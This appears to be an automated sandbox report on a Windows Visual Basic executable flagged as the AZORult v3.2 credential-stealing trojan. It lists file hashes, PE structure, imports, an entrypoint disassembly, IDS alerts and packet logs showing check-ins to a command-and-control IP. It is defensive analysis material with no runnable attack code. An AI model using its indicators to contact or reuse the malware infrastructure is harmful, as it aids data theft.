TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	1COK25f1vT.exe
File size:	102400
MD5:	5918b91ac2931af0267e4af06f3fd2e2
SHA1:	1ce7cccf52a0a569d013c0a91efb4f808c3c6194
SHA256:	41acb7b14d4167374da9039e1324caac71b397bf246abb50cb9ae1ca197b3cc1
SHA512:	85c24f4447886373f5522a2cc1b10b74d7f6ae15bebc27137ab07ec8ad0d075074dd662a09714acae57b8b03055b8cfc991bb6a235fb92c65e3a9b92577a710d
SSDEEP:	3072:ZaIH38JFPi5C0C02y1uewWxEPpcPLnnpt7:jH38765C0D2y0ewWiyPLnnD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1...1...1.......0...~...0.......0...Rich1...........PE..L....^.X.................`... ...............p....@................

File Icon


Icon Hash:	20047c7c70f0e004

Static PE Info

General
Entrypoint:	0x4016dc
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x58CA5EF4 [Thu Mar 16 09:46:28 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	489d1d3cb87fc8295d24d8f992f96304

Entrypoint Preview

Instruction
push 00412020h
call 00007FBBD0D3C4D5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
cmp byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc edx
daa
cdq
enter 32A0h, 5Fh
inc ecx
xchg byte ptr [esi+edi], bl
outsd
mov ch, B1h
arpl word ptr [eax+eax+00000000h], si
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [ecx+00h], al
xchg byte ptr [eax-7Eh], dl
add dword ptr [ecx+6Eh], eax
popad
insb
popa
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
int3
xor dword ptr [eax], eax
or dl, ch
leave
cmpsb
inc edx
int3
sub edi, dword ptr [esi-73E373BDh]
stosb
shl ecx, 1
stc
sbb dword ptr [eax+7FE074FBh], esi
mov esp, dword ptr [D739994Fh]
insb
mov esp, 3A2AE9CCh
dec edi
lodsd
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
dec eax
or byte ptr [ecx], al
add byte ptr [edx+00h], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [edx+69h], ah
outsb
jnc 00007FBBD0D3C4E4h
or eax, 55000801h
inc esp
push ebx
dec ebp
dec ecx
inc esp
inc ebp
push edx
add byte ptr [ecx], bl
add dword ptr [eax], eax
inc edx
add byte ptr [eax+ecx], ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x16874	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x18000	0x8dc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1ec	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x15f10	0x16000	False	0.513904918324	data	6.3148836918	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x17000	0xa30	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x18000	0x8dc	0x1000	False	0.168701171875	data	1.93941356002	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x187ac	0x130	data
RT_ICON	0x184c4	0x2e8	data
RT_ICON	0x1839c	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x1836c	0x30	data
RT_VERSION	0x18150	0x21c	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

__vbaR8FixI4, _CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaAryMove, __vbaStrVarMove, __vbaLenBstr, __vbaFreeVarList, __vbaPut3, _adj_fdiv_m64, _adj_fprem1, __vbaStrCat, __vbaHresultCheckObj, __vbaLenBstrB, _adj_fdiv_m32, __vbaVarTstLe, __vbaAryVar, __vbaAryDestruct, __vbaOnError, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFPFix, __vbaFpR8, _CIsin, __vbaChkstk, __vbaFileClose, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaVarTstEq, __vbaObjVar, __vbaLbound, _adj_fpatan, __vbaRedim, EVENT_SINK_Release, __vbaUI1I2, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaUbound, __vbaStrVarVal, __vbaVarCat, __vbaDateVar, _CIlog, __vbaErrorOverflow, __vbaFileOpen, __vbaNew2, __vbaVar2Vec, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarDup, __vbaVarLateMemCallLd, __vbaLateMemCallLd, _CIatan, __vbaStrMove, __vbaAryCopy, _allmul, _CItan, _CIexp, __vbaFreeStr, __vbaFreeObj

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	pleasely
FileVersion	1.02
CompanyName	Visual Lease
ProductName	Analfa6
ProductVersion	1.02
OriginalFilename	pleasely.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/19/21-21:13:23.798967	TCP	2029465	ET TROJAN Win32/AZORult V3.2 Client Checkin M15	49789	80	192.168.2.3	185.29.11.112
12/19/21-21:13:24.174333	TCP	2029141	ET TROJAN AZORult v3.2 Server Response M3	80	49789	185.29.11.112	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2021 21:13:22.456084967 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:22.456135988 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:22.456244946 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:22.482973099 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:22.483002901 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:22.542983055 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:22.543133020 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:22.544580936 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:22.544688940 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:22.912921906 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:22.912976027 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:22.913511992 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:22.913772106 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:22.918365002 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:22.960863113 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:23.227430105 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:23.227551937 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:23.227581978 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:23.227669001 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:23.227982998 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:23.228077888 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:23.228099108 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:23.228121042 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:23.228178978 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:23.228209019 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:23.264417887 CET	49786	443	192.168.2.3	172.217.168.46
Dec 19, 2021 21:13:23.264456987 CET	443	49786	172.217.168.46	192.168.2.3
Dec 19, 2021 21:13:23.352405071 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.352462053 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.352562904 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.353023052 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.353050947 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.413801908 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.413916111 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.414778948 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.414849997 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.421509027 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.421521902 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.421778917 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.421860933 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.422441959 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.464860916 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.643333912 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.643560886 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.644162893 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.644264936 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.645984888 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.646094084 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.648365974 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.648494959 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.648515940 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.648605108 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.654875040 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.654975891 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.659544945 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.659660101 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.659811974 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.659907103 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.659929991 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.660002947 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.660381079 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.660564899 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.660581112 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.660649061 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.661629915 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.661705017 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.661717892 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.661776066 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.662337065 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.662414074 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.662429094 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.662491083 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.663917065 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.664011955 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.664026022 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.664089918 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.665035009 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.665101051 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.665116072 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.665174007 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.665553093 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.665612936 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.665627003 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.665679932 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.666695118 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.666763067 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.666778088 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.666836023 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.669955015 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.670033932 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.670046091 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.670104027 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.670797110 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.670865059 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.670880079 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.670934916 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.670937061 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.670959949 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.671003103 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.671039104 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.671904087 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.671982050 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.671996117 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.672048092 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.673042059 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.673141003 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.673155069 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.673212051 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.673528910 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.673592091 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.673607111 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.673660040 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.676923990 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.677015066 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.677026987 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.677084923 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.677201033 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.677268982 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.677310944 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.677373886 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.677388906 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.677480936 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.677491903 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.677552938 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.678263903 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.678333044 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.678347111 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.678401947 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.678411007 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.678463936 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.681158066 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.681231022 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.681246996 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.681302071 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.681979895 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.682049036 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.682064056 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.682116032 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.682116985 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.682142973 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.682178020 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.682207108 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.682219028 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.682281971 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.682293892 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.682351112 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.682786942 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.682872057 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.682887077 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.682944059 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.683520079 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.683603048 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.683614969 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.683669090 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.684257984 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.684317112 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.684418917 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.684478998 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.684648037 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.684710026 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.684724092 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.684770107 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.684777021 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.684792042 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.684824944 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.684854984 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.686223030 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.686290026 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.686305046 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.686363935 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.686949968 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.687032938 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.687046051 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.687102079 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.687578917 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.687663078 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.687678099 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.687735081 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.688117981 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.688178062 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.688191891 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.688231945 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.688246012 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.688261032 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.688285112 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.688324928 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.688559055 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.688626051 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.688642025 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.688694954 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.689243078 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.689315081 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.689330101 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.689385891 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.689925909 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.689995050 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.690010071 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.690022945 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.690052986 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.690093040 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693223953 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.693299055 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693317890 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.693380117 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693392038 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.693447113 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.693453074 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693469048 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.693515062 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693546057 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693557978 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.693613052 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.693615913 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693633080 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.693667889 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693687916 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693698883 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.693727016 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.693758011 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693773031 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693898916 CET	49787	443	192.168.2.3	172.217.168.1
Dec 19, 2021 21:13:23.693927050 CET	443	49787	172.217.168.1	192.168.2.3
Dec 19, 2021 21:13:23.773669958 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:23.797950029 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:23.798091888 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:23.798966885 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:23.877199888 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.174333096 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.174422026 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.174443960 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.174485922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.174490929 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.174540997 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.174547911 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.174596071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.174654007 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.174659014 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.174715996 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.174772978 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.174774885 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.174828053 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.174834967 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.174894094 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.174951077 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.199558020 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.199636936 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.199666977 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.199693918 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.199696064 CET	80	49789	185.29.11.112	192.168.2.3
